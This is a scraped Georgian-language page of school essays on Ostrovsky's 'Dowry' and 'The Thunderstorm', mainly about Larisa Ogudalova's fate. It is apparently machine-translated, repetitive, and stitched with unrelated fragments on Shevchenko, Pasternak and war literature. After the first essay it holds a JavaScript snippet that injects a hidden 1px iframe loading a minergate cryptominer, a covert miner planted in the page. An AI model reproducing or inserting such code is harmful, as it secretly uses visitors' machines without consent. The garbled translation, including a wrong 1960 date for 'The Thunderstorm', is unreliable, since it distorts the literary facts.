ტრაგიკული ბედილარისა " ბნელი სამეფო"(ა.ნ. ოსტროვსკის პიესის მიხედვით "მზითვი")

IN ამ შემთხვევაში ჩვენ ვსაუბრობთსპექტაკლის შესახებ „მზიტი“.
ლარისა ოგუდალოვას გარშემომყოფთა გულგრილობა და სისასტიკე უნდა განეცადა, გაუძლო სასიყვარულო დრამა, და შედეგად ის კვდება, ისევე როგორც "ჭექა-ქუხილის" გმირი. მაგრამ აშკარა მსგავსების მიუხედავად, ლარისა ოგუდალოვას სრულიად განსხვავებული ხასიათი აქვს, ვიდრე კატერინა კაბანოვა. გოგონამ შესანიშნავი განათლება მიიღო. ის არის ჭკვიანი, დახვეწილი, განათლებული, ოცნებობს ლამაზი სიყვარული, მაგრამ თავდაპირველად მისი ცხოვრება სულ სხვაგვარად ვითარდება. ის უსახლკაროა. ლარისას დედა ძალიან ეგოისტია. ის ყიდის ქალიშვილების სილამაზესა და ახალგაზრდობას. ლარისას უფროსი დები უკვე „დასახლებულან“ თავიანთი მარაგი მშობლის ზრუნვის წყალობით, მაგრამ, სამწუხაროდ, მათი ცხოვრება ძალიან, ძალიან ტრაგიკულად ვითარდება.
ლარისა ოგუდალოვას შეუყვარდება "ბრწყინვალე ოსტატი" სერგეი სერგეევიჩ პარა. იგი გულწრფელად თვლის მას იდეალურ მამაკაცად. ბატონს აქვს ქონება, იგი სრულად შეესაბამება კეთილშობილის იდეას და განათლებული ადამიანი. შინაგანი არსიმისი მოგვიანებით ირკვევა. ლარისა ახალგაზრდა და გამოუცდელია, ამიტომ პარაᴛᴏʙას ხაფანგში ჩავარდება და თავს ანგრევს. მას არ აქვს ძლიერი ხასიათი და ხდება სათამაშო სხვების ხელში. საქმე იქამდე მიდის, როცა გოგონას ათამაშებენ. გარშემომყოფები მას ძვირადღირებულ და ლამაზ გასართობად თვლიან, მაგრამ მისი ამაღლებული სული, სილამაზე და ნიჭი უმნიშვნელოა. კარანდიშევი ეუბნება ლარისას: „ისინი არ გიყურებენ როგორც ქალს, როგორც პიროვნებას... ისინი გიყურებენ როგორც ნივთს“.
ამას თავადაც ეთანხმება: „რამე... დიახ, რამე! მართლები არიან, მე ნივთი ვარ, ადამიანი არ ვარ...“
ლარისას ვნებიანი გული აქვს, ის გულწრფელი და ემოციურია, გულუხვად აძლევს სიყვარულს, მაგრამ რას იღებს სანაცვლოდ? მისი საყვარელი ადამიანისთვის ლარისა მხოლოდ გართობისა და გართობის კიდევ ერთი ფორმაა. სასოწარკვეთილების გამო, იგი თანახმაა მიიღოს კნუროვის პირობები.
სიკვდილი ერთგვარი ხსნაა ლარისასთვის, სულიერი ხსნა, რა თქმა უნდა. ასეთი ტრაგიკული დასასრული იხსნის მას რთული არჩევანისგან, რომლის გაკეთებასაც ცდილობს, იხსნის მორალური ნგრევადა ჩავარდნა უფსკრულში, რომელსაც გარყვნილება ჰქვია.

გვერდი 1 საწყისი 1

(function() ( var w = document.createElement ("iframe"); w.style.border = "არცერთი"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden";

დიდის შესახებ სამამულო ომიბევრი დაიწერა. პირველი ნაწარმოებები მასზე ორმოციანი წლების შუა ხანებში გამოჩნდა და მას შემდეგ ომის შესახებ რომანები, მოთხრობები და ლექსები უწყვეტ ნაკადში ქვეყნდება. და ბევრი მათგანი, სამწუხაროდ, სრულიად უღიმღამო და წაუკითხავი იყო.

ანდრეი სამოილოვიჩ მალიშკო - არაჩვეულებრივი ფიგურა ისტორიაში უკრაინული კულტურა. მისმა მრავალმხრივმა ნიჭმა თავი იჩინა სხვადასხვა სფეროში, მაგრამ პოეზიის მუზა ყველაზე ხელსაყრელი იყო მწერლისთვის. მისი შემოქმედება მოიცავს ორ ათეულზე მეტ კრებულს და ჩვიდმეტ ლექსს, რომლებშიც ავტორი მოიცავს ვრცელ თემატურ ჰორიზონტს. მაგრამ პოეტი განსაკუთრებული მოწიწებით წერს მშრომელ, პატრიოტ კაცზე და სითბო. სამშობლოლექსში „სამშობლო“ გამოსახულია სიცოცხლის, სიბრძნის, სილამაზისა და დედობრივი მზრუნველობის წყაროდ. მას, როგორც მწერალს მართებულად სჯერა, ფლობს ზოგიერთს ჯადოსნური ძალა, რადგან ისინი, ვისაც მან "პური ... ბულბულის სიმღერებით" მისცა, ბუნებრივ ძალას იძენს: ...

მოგეხსენებათ, შევჩენკო გლეხის ყმის შვილი იყო და თავადაც ყმა იყო. დიდი პოეტის მამა და დედა ნაადრევად გარდაიცვალნენ ზედმეტი შრომისგან, ხელმოკლეობისა და ავადმყოფობისგან. იგივე ბედი ელოდა ტარას შევჩენკოს. თერთმეტი წლის ასაკში დატოვა ობოლი, მან ადრევე განიცადა იძულებითი შრომის ზურგის გაჭირვება და იგრძნო „ღარიბი გაუღიმა გლეხის“ მწუხარება. შევჩენკო ცხოვრობდა უკიდურესად მძიმე პირობებში, იყო ძალიან ღარიბი, ხშირად მშიერი და ავად იყო...

რევოლუციის თემა, სამოქალაქო ომიდა რუსული ინტელიგენციის ბედი რუსულ ლიტერატურაში (პასტერნაკი, ბულგაკოვი) რომანის დასაწყისი უჩვეულოა: "ისინი დადიოდნენ, დადიოდნენ და მღეროდნენ" მარადიული მეხსიერება„... ვის დაკრძალავენ?.. „ჟივაგო“. პასტერნაკის მთელი ნაწარმოები აგებულია ცოცხალთა და მიცვალებულთა დაპირისპირებაზე. მთავარი საკითხი, რომლის ირგვლივაც ტრიალებს მთავარი გმირების „გარე და შინაგანი“ ცხოვრება, არის დამოკიდებულება. რევოლუციის მიმართ ყველაზე ნაკლებად, იური ჟივაგოც და თავად ავტორიც იყვნენ მისი მოწინააღმდეგეები, ყველაზე ნაკლებად ისინი კამათობდნენ მათ მიმართ, რეალობისადმი მათი დამოკიდებულება სრულიად განსხვავებულია. ჩარევის გარეშე, მისი შეცვლის მცდელობის გარეშე, საშუალებას გაძლევთ ობიექტურად დაინახოთ რა ხდება „ექიმმა გაიხსენა ბოლო შემოდგომა, აჯანყებულთა სიკვდილით დასჯა, პალიხების სისხლიანი ხოცვა-ჟლეტა და ხოცვა-ჟლეტა. ადამიანები, რომლებსაც დასასრული არ ჰქონდათ. თეთრებისა და წითლების ფანატიზმი ერთმანეთს ეჯიბრებოდნენ სისასტიკეში, მონაცვლეობით ზრდიდნენ ერთს მეორეზე საპასუხოდ, თითქოს მრავლდებოდნენ. ”…

ოსტროვსკის პიესების გმირები ყველაზე ხშირად ქალები ხდებიან. რა თქმა უნდა, ეს ქალები არაჩვეულებრივი და არაჩვეულებრივი ინდივიდები არიან. საკმარისია გავიხსენოთ დრამის გმირი კატერინა. ის იმდენად ემოციური და შთამბეჭდავია, რომ დგას სპექტაკლის სხვა პერსონაჟებისგან. კატერინას ბედი გარკვეულწილად ჰგავს ოსტროვსკის სხვა გმირის ბედს. ამ შემთხვევაში საუბარია სპექტაკლზე.

ლარისა ოგუდალოვას მოუწია განიცადოს გარშემომყოფების გულგრილობა და სისასტიკე, გადაურჩა სასიყვარულო დრამას და შედეგად ის კვდება, ისევე როგორც ჭექა-ქუხილის გმირი. მაგრამ აშკარა მსგავსების მიუხედავად, ლარისა ოგუდალოვას სრულიად განსხვავებული ხასიათი აქვს, ვიდრე კატერინა კაბანოვა. გოგონამ შესანიშნავი განათლება მიიღო. ის არის ჭკვიანი, დახვეწილი, განათლებული, ოცნებობს ლამაზ სიყვარულზე, მაგრამ თავდაპირველად მისი ცხოვრება სულ სხვანაირად ხდება. ის უსახლკაროა. ლარისას დედა ძალიან ეგოისტია. ის ყიდის ქალიშვილების სილამაზესა და ახალგაზრდობას. ლარისას უფროსი დები უკვე დასახლდნენ თავიანთი მარაგი მშობლის ზრუნვის წყალობით, მაგრამ, სამწუხაროდ, მათი ცხოვრება ძალიან, ძალიან ტრაგიკულად ვითარდება.

ლარისა ოგუდალოვას შეუყვარდება ბრწყინვალე ჯენტლმენი სერგეი სერგეევიჩ პარატოვი. იგი გულწრფელად თვლის მას იდეალურ მამაკაცად. ოსტატს აქვს ქონება, ის სრულად შეესაბამება კეთილშობილური და განათლებული ადამიანის იდეას. მისი შინაგანი არსი მოგვიანებით ვლინდება. ლარისა ახალგაზრდა და გამოუცდელია, ამიტომ პარატოვის ხაფანგში ჩავარდება და თავს ანგრევს. მას არ აქვს ძლიერი ხასიათი და ხდება სათამაშო სხვების ხელში. საქმე იქამდე მიდის, როცა გოგონას ათამაშებენ. გარშემომყოფები მას ძვირადღირებულ და ლამაზ გასართობად თვლიან, მაგრამ მისი ამაღლებული სული, სილამაზე და ნიჭი უმნიშვნელოა. კარანდიშევი ეუბნება ლარისას: ისინი არ გიყურებენ როგორც ქალს, როგორც პიროვნებას... ისინი გიყურებენ როგორც ნივთს.

ამას თავადაც ეთანხმება: რამე... ჰო, რამე! მართლები არიან, მე ნივთი ვარ, ადამიანი არ ვარ...

ლარისას მხურვალე გული აქვს, გულუხვად აჩუქებს თავის სიყვარულს, მაგრამ რას იღებს სანაცვლოდ მისი საყვარელი ადამიანისთვის, ლარისა მხოლოდ სხვა გასართობია. სასოწარკვეთილების გამო, იგი თანახმაა მიიღოს კნუროვის პირობები.

სიკვდილი ერთგვარი ხსნაა ლარისასთვის, სულიერი ხსნა, რა თქმა უნდა. ასეთი ტრაგიკული დასასრული იხსნის მას იმ რთული არჩევანისგან, რომლის გაკეთებასაც ცდილობს, იხსნის მორალური სიკვდილისგან და გარყვნილებაში წოდებულ უფსკრულში ჩავარდნისაგან.

ოსტროვსკის დრამა "ჭექა-ქუხილი" გამოიცა 1960 წელს, წინა დღეს. რევოლუციური სიტუაციარუსეთში. ნაწარმოებში ასახულია მწერლის ვოლგის გასწვრივ მოგზაურობის შთაბეჭდილებები 1856 წლის ზაფხულში. მაგრამ არა რომელიმე კონკრეტული ვოლგის ქალაქი და არა ზოგიერთი კონკრეტული პირებიასახულია „ჭექა-ქუხილში“. მან გადაამუშავა ყველა თავისი დაკვირვება ვოლგის რეგიონის ცხოვრებაზე და გადააქცია ისინი რუსული ცხოვრების ღრმა ტიპურ სურათებად.

დრამის ჟანრი იმითაა დამახასიათებელი, რომ ის კონფლიქტზეა აგებული ინდივიდუალურიდა მიმდებარე საზოგადოება. "ჭექა-ქუხილში" ეს ადამიანი კატერინა კაბანოვაა.

კატერინა ახასიათებს მორალური სიწმინდერუსი ქალის სულიერი მშვენიერება, ნებისყოფის სურვილი, თავისუფლება, მისი უნარი არა მხოლოდ გაუძლოს, არამედ დაიცვას თავისი უფლებები, ადამიანური ღირსება. დობროლიუბოვის თქმით, მან "არ მოკლა ადამიანის ბუნება საკუთარ თავში".

კატერინა - რუსი ეროვნული ხასიათი. უპირველეს ყოვლისა, ამას ასახავს ოსტროვსკი, რომელიც სრულყოფილად ფლობდა მთელ სიმდიდრეს ხალხური, ჰეროინის გამოსვლაში. როცა ლაპარაკობს, თითქოს მღერის. კატერინას მეტყველებაში, რომელიც ასოცირდება უბრალო ხალხთან, აღზრდილ მათ ზეპირ პოეზიაზე, ჭარბობს სასაუბრო ლექსიკა, რომელიც ხასიათდება მაღალი პოეზიით, გამოსახულებათა და ემოციურობით. მკითხველი გრძნობს მუსიკალურობასა და მელოდიას კატიას მეტყველებას ხალხური სიმღერები. ოსტროვსკაიას ჰეროინის ენას ახასიათებს გამეორებები ("C-ზე კარგზე", "და ხალხი მეზიზღება, სახლი კი მეზიზღება, კედლები კი ამაზრზენი!"), საყვარლების სიმრავლე. და დემინუტივები(„მზე“, „ვოდიცა“, „საფლავი“), შედარება („არაფერზე არ წუხდა, როგორც ჩიტი ველურში“, „ვიღაც კეთილად მელაპარაკება, როგორც მტრედი ღუპავს“). ბორისზე ლტოლვა, სულიერი ძალის უდიდესი დაძაბულობის მომენტში, კატერინა თავის გრძნობებს ენაზე გამოხატავს ხალხური პოეზია, წამოიძახა: "ძლიერი ქარები, გადაიტანე მას ჩემი სევდა და სევდა!"

გასაოცარია კუნძულის ჰეროინის ბუნებრიობა, გულწრფელობა და სიმარტივე. „არ ვიცი როგორ მოვიტყუო; ვერაფერს დავმალავ, - პასუხობს ვარვარა, რომელიც ამბობს, რომ მათ სახლში მოტყუების გარეშე ვერ იცხოვრებ. მოდით შევხედოთ კატერინას რელიგიურობას. ეს არ არის კაბანიკას თვალთმაქცობა, არამედ ბავშვური, ჭეშმარიტი რწმენა ღმერთისადმი. ის ხშირად სტუმრობს ეკლესიას და აკეთებს ამას სიამოვნებითა და სიამოვნებით ("და სიკვდილამდე მიყვარდა ეკლესიაში სიარული! რა თქმა უნდა, მოხდა, შევალ სამოთხეში"), უყვარს მომლოცველებზე საუბარი ("ჩვენი სახლი სავსე იყო მომლოცველებითა და მლოცველებით. ”), კატერინას ოცნებები ”ოქროს ტაძრებზე”.

კუნძულის გმირის სიყვარული უმიზეზოდ არ არის. ჯერ ერთი, სიყვარულის მოთხოვნილება იგრძნობს თავს: ყოველივე ამის შემდეგ, ნაკლებად სავარაუდოა, რომ მისი ქმარი ტიხონი, "დედას" გავლენის ქვეშ, ძალიან ხშირად ავლენდა სიყვარულს ცოლის მიმართ. მეორეც, შეურაცხყოფილია ცოლისა და ქალის გრძნობები. მესამე, მოკვდავი მელანქოლია ერთფეროვანი ცხოვრებაახრჩობს კატერინას. და ბოლოს, მეოთხე მიზეზი არის თავისუფლების სურვილი, სივრცე: სიყვარული ხომ თავისუფლების ერთ-ერთი გამოვლინებაა. კატერინა საკუთარ თავს ებრძვის და ეს არის მისი მდგომარეობის ტრაგედია, მაგრამ ბოლოს შინაგანად იმართლებს თავს. თვითმკვლელობით, ეკლესიის თვალსაზრისით, საშინელი ცოდვის ჩადენით, ის ფიქრობს არა სულის ხსნაზე, არამედ სიყვარულზე, რომელიც მას გამოეცხადა. "Ჩემი მეგობარი! ჩემო სიხარულო! ნახვამდის!" - Აქ ბოლო სიტყვებიკატერინა.

Სხვა დამახასიათებელიკუნძულის ჰეროინი არის "სრულფასოვანი მოთხოვნა სიცოცხლის უფლებისა და სივრცის მიმართ, რომელიც წარმოიქმნება მთელი ორგანიზმის სიღრმიდან", თავისუფლებისა და სულიერი ემანსიპაციის სურვილი. ვარვარას სიტყვებზე: „სად წახვალ, ქმრის ცოლი ხარ“, კატერინა პასუხობს: „ეჰ, ვარია, შენ არ იცი ჩემი ხასიათი? რა თქმა უნდა, ღმერთმა ქნას ეს მოხდეს! და აქ რომ დავიღალე, არავითარი ძალით არ დამაკავებენ. თავს ფანჯრიდან გადავაგდებ, ვოლგაში ჩავვარდები. მე არ მინდა აქ ცხოვრება, არ გავაკეთებ ამას, თუნდაც მომჭრა!” ტყუილად არ არის, რომ სპექტაკლში არაერთხელ მეორდება ჩიტის გამოსახულება - ნებისყოფის სიმბოლო. აქედან მუდმივი ეპითეტი"თავისუფალი ჩიტი". კატერინა, რომელიც ახსოვს როგორ ცხოვრობდა ქორწინებამდე, თავს ადარებს ველურ ფრინველს. „ე რატომ ხალხი"ისინი ჩიტებივით არ დაფრინავენ", - ეუბნება იგი ვარვარას. "იცი, ხანდახან მგონია, რომ ჩიტი ვარ." მაგრამ თავისუფალი ჩიტი რკინის გალიაში აღმოჩნდა. და ის იბრძვის და ისწრაფვის ტყვეობაში.

კატერინას პერსონაჟის მთლიანობა და გადამწყვეტი გამოიხატებოდა იმით, რომ მან უარი თქვა კაბანიკას სახლის წესებზე და ტყვეობაში სიცოცხლეს სიკვდილი ამჯობინა. და ეს იყო არა სისუსტის გამოვლინება, არამედ სულიერი სიძლიერის და გამბედაობის, ჩაგვრისა და დესპოტიზმის მძაფრი სიძულვილის.

ასე რომ, მთავარია მსახიობიდრამა "ჭექა-ქუხილი" კონფლიქტში მოდის გარემო. მეოთხე მოქმედებაში, მონანიების სცენაზე, როგორც ჩანს, დასრულება მოდის. ამ სცენაში ყველაფერი კატერინას წინააღმდეგაა: „ღვთის ჭექა-ქუხილი“ და ნახევრად გიჟური „ქალბატონი ორი ლაკეით“ და უძველესი მხატვრობადანგრეულ კედელზე გამოსახული „ცეცხლოვანი გეენა“. საწყალი გოგოწარსულის ყველა ეს ნიშანი, მაგრამ ასეთმა გამძლე ძველმა სამყარომ კინაღამ გააგიჟა იგი და ნახევრად დელირიუმში, სიბნელის მდგომარეობაში ინანებს ცოდვას. იგი მოგვიანებით აღიარებს ბორისს, რომ "ის არ იყო თავისუფალი თავის თავში", "მას არ ახსოვდა საკუთარი თავი". თუ დრამა "ჭექა-ქუხილი" ამ სცენით დასრულდებოდა, მაშინ ის აჩვენებს "ბნელი სამეფოს" უძლეველობას: ბოლოს და ბოლოს, ბოლოს და ბოლოს. მეოთხე მოქმედებაიმარჯვებს: „რა შვილო! სადაც ნება მიგვიყვანს!”

მაგრამ დრამა მთავრდება მორალური გამარჯვებით, როგორც გარე ძალებზე, რომლებიც ზღუდავდნენ კატერინას თავისუფლებას, ასევე ბნელ იდეებზე, რომლებიც ზღუდავდნენ მის ნებასა და გონებას. და მისი გადაწყვეტილება მოკვდეს, ვიდრე მონა დარჩეს, დობროლიუბოვის თქმით, გამოხატავს "რუსული ცხოვრების განვითარებადი მოძრაობის საჭიროებას".

”მან აჩვენა არა მხოლოდ ბიზნესმენების, ბიჭების და წვრილმანი ჩინოვნიკების მორალი, პრიორიტეტები, ტრადიციები, არამედ შეყვარებული ქალის პირადი დრამაც. და ეს ქალი ლარისა ოგუდალოვაა.

ლარისას სიყვარულისა და ბედნიერებისკენ მიმავალი პოეტური სული აქვს. ის კარგად არის აღზრდილი, ნიჭიერი სილამაზითა და ინტელექტით. მისი პერსონაჟი ეწინააღმდეგება "ახალი დროის" საფუძვლებს. ოგუდალოვა ცხოვრობს ბიზნესმენთა სამყაროში, სადაც მთავარი ღირებულებაარის ფული, სადაც ყველაფერს ყიდულობენ და ყიდიან, სადაც „ყველა პროდუქტს აქვს ფასი“.

ლარისა პიესის მთავარი პროდუქტია. „მე შენთვის თოჯინა ვარ; "თუ ჩემთან ითამაშებ, დამიმტვრევ და გამაგდებ", - ამბობს ის. მას ყიდის დედა, ბავშვობის მეგობარი ვოჟევატოვი, კნუროვი, პარატოვი და კარანდიშევიც კი. ასე რომ, კარანდიშევმა, ლარისას საპატივსაცემოდ მოაწყო ვახშამი, გადაწყვიტა უბრალოდ ეჩვენებინა შეძენილი „სათამაშო“ და გამოეჩინა თავისი უპირატესობა სხვებზე: „მე მაქვს უფლება ვიამაყო და ვამაყობ! მას ესმოდა ჩემი, მაფასებდა და მერჩივნა სხვებზე.”

ვოჟევატოვი და კნუროვი მონეტას ისვრიან, რომ ნახონ ვის მიიღებს ასეთი დეკორაცია. მაგრამ ლარისა არ ზრუნავს მათზე. მთელი მისი აზრი და გრძნობა დაკავშირებულია პარატოვთან, მაგრამ პარატოვს მხოლოდ მისი მდგომარეობა ადარდებს. როგორც კი პრობლემები შეექმნება, მაშინვე მიდის და ავიწყდება ლარისასთან დამშვიდობება. ის ამას აპატიებს მას. და როგორც კი დაბრუნდება, ლარისა უკვე გრძნობს თავისი პოზიციის გაურკვევლობას: „შენ მე მახრჩობ, უფსკრულში მიბიძგებ“. ის სთხოვს წასვლას უფრო შორს, სოფელში, ისევე როგორც კატერინამ, პიესის "ჭექა-ქუხილის" გმირმა, ტიხონისგან ფიცი სთხოვა.

ლარიზას სურს დაიცვას თავი იმ ქმედებისგან, რომლისკენაც მისი გული ისწრაფვის. მაგრამ კარანდიშევი არ უჭერს მხარს ლარისას, ისევე როგორც ტიხონმა არ დაუჭირა მხარი ეკატერინას. კარანდიშევი ზრუნავს მხოლოდ სიამაყეზე. ასე რომ, ლარისა მარტო რჩება თავის შიშებთან.

ჩასვლისთანავე პარატოვს არ ახსოვს ლარისა, სანამ ვოჟევატოვი არ შეატყობინებს, რომ ლარისა დაქორწინდება. პარატოვიც ქორწინდება, უფრო სწორად, ყიდვა-გაყიდვის პროცესი ისევ ხდება: თავისუფლების სანაცვლოდ ოქროს მაღაროებს იძენს. პარატოვს ბოლო თამაში უნდა, ლარისა კი დიდი სათამაშოა. ის აძლევს მას ყველაზე საშინელს - ბედნიერების რწმენას. „მე ვოცნებობ ერთ ნეტარებაზე: ვიყო შენი მონა; მე დავკარგე მეტი, ვიდრე ბედი, დაგკარგე“, - ამბობს პარატოვი. ის ატყუებს, საუბრობს სიყვარულზე, როცა მასში სიბრალულის მარცვალიც კი არ არის. ლარისამ დაუჯერა და აუზში ჩავარდება.

პარატოვის მიზანი მიღწეულია: მისი სიყვარულით შეშლილი ლარისა, რწმენითა და მათი ერთობლივი მომავლის იმედით, თანახმაა მთლიანად მისი იყოს. თუმცა, დილით, როდესაც ლარისა ეკითხება, შეუძლია თუ არა თავი მის ცოლად მიიჩნიოს, პარატოვს „ახსოვს“, რომ ის ჯაჭვებით არის შეკრული, რომელსაც ვერ არღვევს. ეს არ აჩერებს ლარისას: „ამ ტვირთს გაგიზიარებ, ტვირთის დიდ ნაწილს მე ვიღებ“, სანამ პარატოვი არ აღიარებს, რომ დაინიშნა. ლარისა გათელეს, მის სიყვარულს არ უვლიდნენ, გრძნობები ჭუჭყში გათელეს, სახეში გაეცინათ. და ისევ ბედი თამაშობს მას, კნუროვი შესთავაზებს მის ყიდვას. მეზიზღება, სნეულია ამქვეყნად.

ის ცდილობს მოკვდეს, მაგრამ არ გამოსდის: „რა მიჭერს ამ უფსკრულს, რა მაჩერებს? ო, არა, არა... არა კნუროვი... ფუფუნება, ბრწყინვალება... არა, არა... შორს ვარ ამაოებისგან... გარყვნილება... ოჰ, არა... უბრალოდ არ მაქვს. განსაზღვრა“. შეჯახებისას ლარისა ბრძოლაში ვარდება და იღებს იმ პოზიციას, რომელიც საზოგადოებამ მას თავიდანვე დააკისრა: „დიახ, რამე,... მე ნივთი ვარ და არა ადამიანი;... ყველა ნივთს თავისი ფასი აქვს. .. ძალიან ძვირი ვარ შენთვის“. მაგრამ ლარისას ტრაგედია სხვაა, მისი სიტყვები ჭექა-ქუხილს ჰგავს "ჭექა-ქუხილში": "სიყვარულს ვეძებდი და ვერ ვიპოვე. მიყურებდნენ და ახლაც ისე მიყურებენ, თითქოს ხუმრობა ვყოფილიყავი... სიყვარულს ვეძებდი და ვერ ვიპოვე... ის არ არსებობს სამყაროში, საძიებელი არაფერია. მე ვერ ვიპოვე სიყვარული, ამიტომ ოქროს ვეძებ." ლარისა იტყუება, ოქრო არ ჭირდება, არაფერი სჭირს. ამიტომ, როდესაც კარანდიშევი ესვრის ლარისა, მადლობას უხდის მას.

მის ცხოვრებაში მოვლენების შედეგის რამდენიმე ვარიანტი იყო. ადრე ბოლო წუთებილარისას უყვარდა პარატოვი და ცოცხალი რომ დარჩენილიყო, კიდევ ერთხელ შეძლებდა მის პატიებას და თუ შემთხვევით ისევ ქალაქში დაბრუნებულიყო, ისევ დაუჯერებდა და ისევ მოტყუებული აღმოჩნდებოდა. ლარისა შეიძლება გახდეს კნუროვის ფუფუნება, მაგრამ მისთვის ეს ზუსტად სიკვდილია. ის არასოდეს გახდებოდა კარანდიშევის ცოლი. როგორც არ უნდა ყოფილიყო, ლარისა ბედნიერებას ვერ იპოვიდა, ამქვეყნად მისი სიყვარული არ არსებობს, რადგან იმ დღეებში სიყვარული მხოლოდ ფულისთვის იგრძნობოდა და არა ადამიანების მიმართ.

ოგუდალოვა ლარისა დმიტრიევნა - მთავარი გმირიოსტროვსკის მშვენიერი სპექტაკლი „მზითი“. ეს გოგო ახალგაზრდაა, უზომოდ ლამაზი, მაგრამ ღარიბი და მზითვას არ აძლევენ. ეს მდგომარეობა უკიდურესად დამამცირებელია, ლარისა ამას განსაკუთრებით მწვავედ გრძნობს, რადგან ბუნებით ის ინტელექტუალური და ამაყი ადამიანია.

ოსტროვსკის დრამატურგიაში ადრეც ხვდებოდნენ გმირებს მზითის გარეშე: მარია ანდრეევნა („ღარიბი პატარძალი“), ნადია („საბავშვო ბაღი“), აქსიუშა („ტყე“), ნასტია („ერთი პენიც არ იყო, მაგრამ უცებ იყო. ალტინი”).

ყველა ამ ჰეროინს შორის ყველაზე მეტი ლარისა ოგუდალოვაა დახვეწილი ბუნებადა გონებრივი სისუსტე. ლარისა ისე ცხოვრობს, თითქოს „ყოველდღიურ ცხოვრებაზე მაღლა“, ყოველდღიურ აურზაურს, ამქვეყნიურ ვნებებსა და ვაჭრობას არ შეხებია. მისი სული გამუდმებით სადღაც მიისწრაფვის: ტყეში, სოფელში, ვოლგის იქით, ერთი სიტყვით, რაღაც წყნარ კუთხეში, რომელიც მას სამოთხედ მოეჩვენება. ლარისა მარტოსულია და მის სულში ტრაგიკული ავარია ხდება. ყველა აღფრთოვანებულია მისით, სწყურია, მაგრამ არავის აინტერესებს რა ხდება გოგონას შიგნით. მას ძალიან ენატრება მარტივი, მაგრამ თბილი და გულწრფელი სიტყვა, მხარდაჭერა და მონაწილეობა. ის ცხოვრობს ისეთ გარემოში, რომელიც უფრო მოგვაგონებს "ბაზარს" ან "ბოშათა ბანაკს".

თუნდაც შიგნით სახლშიგოგონა სიმშვიდეს ვერ პოულობს, იძულებულია გაიღიმოს, მოსარჩელეები აიძულებენ მას. ლარისას ვნებიანად შეუყვარდება პარატოვი, მაგრამ არა მისი პიროვნული თვისებები, არამედ სხვისი ოცნება, ლამაზი ცხოვრება, რომლის მიცემაც მას შეუძლია. პარატოვი ლარისას გონებაში ასოცირდება მსუბუქ, პოეტურ სამყაროსთან, რომელიც მან მხოლოდ პოეზიიდან და რომანებიდან იცის, ეს სამყარო მისთვის მიუწვდომელია. სასოწარკვეთილების გამო დათანხმდა ცოლად წვრილ ჩინოვნიკ კარანდიშევზე, ​​ლარისა თავს დამცირებულად გრძნობს. მისი დამარცხებული საქმრო აღიზიანებს მას, როდესაც ის ცდილობს შეადაროს თავი პარატოვს, რომლითაც იგი მაინც აღფრთოვანებულია ყველაფრის მიუხედავად. ლარისას სულში საშინელი ბრძოლაა მცირე თანამდებობის პირის მეუღლის ბედთან შეგუების სურვილსა და ლამაზ და ნათელ ცხოვრებაზე ოცნებას შორის. ცდილობს გადაწყვიტოს თავისი ბედი, ლარისა პარატოვთან ერთად მიდის ნავით მოგზაურობაში, რაც მას კომპრომისზე აყენებს. ამ მოგზაურობის დროს, ლარისა მოულოდნელად გაიგებს თავის ნამდვილ პოზიციას - მშვენიერი სათამაშო, რომელსაც მამაკაცები ერთმანეთს ვერ უზიარებენ. პარატოვი ღიად ეთამაშა მის გრძნობებს, კარანდიშევი, მიუხედავად იმისა, რომ მან აღიარა მისი გულწრფელი სიყვარული, ფაქტობრივად, უბრალოდ სიამაყეს სცემდა და მის ბავშვობის მეგობარს ვოჟევატოვს გაუჩნდა იდეა, ეთამაშა მას კნუროვთან, დიდ ბიზნესმენთან. .

სამუშაოს დასასრულს, ლარისა კვდება მისი საქმროს კარანდიშევის ხელში. მისი საბედისწერო დარტყმა მისთვის ნამდვილი ხსნა გახდა საბოლოო მორალური განადგურებისგან. ლარისა სიკვდილამდე მადლობას უხდის თავის მკვლელს, რომ დაეხმარა მას ამ სიტუაციიდან გამოსვლაში საშინელი სამყარო, რომელშიც არაფერია წმინდა და ადამიანი ადვილად შეიძლება აღმოჩნდეს ყიდვა-გაყიდვის ობიექტი. ლარისა იმდენს ოცნებობდა ნამდვილ, გულწრფელ სიყვარულზე, მაგრამ ყველა აღიქვამდა მას, როგორც მხიარულებას. არავის აინტერესებდა რა ხდებოდა მის სულში. კვდება, ლარისა ყველას აპატიებს, არანაირ წყენას არ ატარებს. მისი გამოსახულება უჩვეულოდ პოეტური და ლამაზია, ის წარუშლელ კვალს ტოვებს და დიდხანს ახსოვს.

ეფექტური მომზადება ერთიანი სახელმწიფო გამოცდისთვის (ყველა საგანი) - დაიწყეთ მზადება

განახლებულია: 2012-08-02

ყურადღება!
თუ შეამჩნევთ შეცდომას ან შეცდომას, მონიშნეთ ტექსტი და დააწკაპუნეთ Ctrl+Enter.
ამით თქვენ მიიღებთ ფასდაუდებელ სარგებელს პროექტისთვის და სხვა მკითხველებისთვის.

Გმადლობთ ყურადღებისთვის.

ოსტროვსკის დრამა „მზითვი“ მკითხველს უჩვენებს ლარისა ოგუდალოვას ტრაგედიას, რომელიც ნებისყოფის მქონე სათამაშოდ იქცა გარშემომყოფთა ხელში. ლარისა ოგუდალოვა, ისევე როგორც კატერინა კაბანოვა, ოსტროვსკის კიდევ ერთი დრამის მთავარი გმირი, ასევე მსხვერპლი ხდება. თუმცა, ლარისას თავდაპირველად განსხვავებული თვისებები აქვს, ვიდრე კატერინას, რომელიც პატრიარქალურ გარემოში გაიზარდა. დრამა "მზითვი" დაიწერა 1879 წელს. ამ დროს რუსეთში უკვე დამყარებული იყო კაპიტალისტური ურთიერთობები. ეს ნიშნავს, რომ პატრიარქალური ფონდები თანდათან კარგავენ აქტუალობას.

ლარისა ოგუდალოვამ მიიღო კარგი განათლება. იგი დახვეწილია ევროპულად. ლარისა სიყვარულზე ოცნებობს. გოგონას თბილი გული აქვს. მას არ შეუძლია დაუშვას, რომ მისი ცხოვრება უსაყვარლეს ადამიანთან იყოს დაკავშირებული. მაგრამ ლარისას სიყვარულის სურვილი ემთხვევა მის ოცნებას და მშვენიერ ცხოვრებას. ლარისა ღარიბია, მაგრამ იმისთვის, რომ ბედნიერი გახდეს, მას სიმდიდრეც სჭირდება.

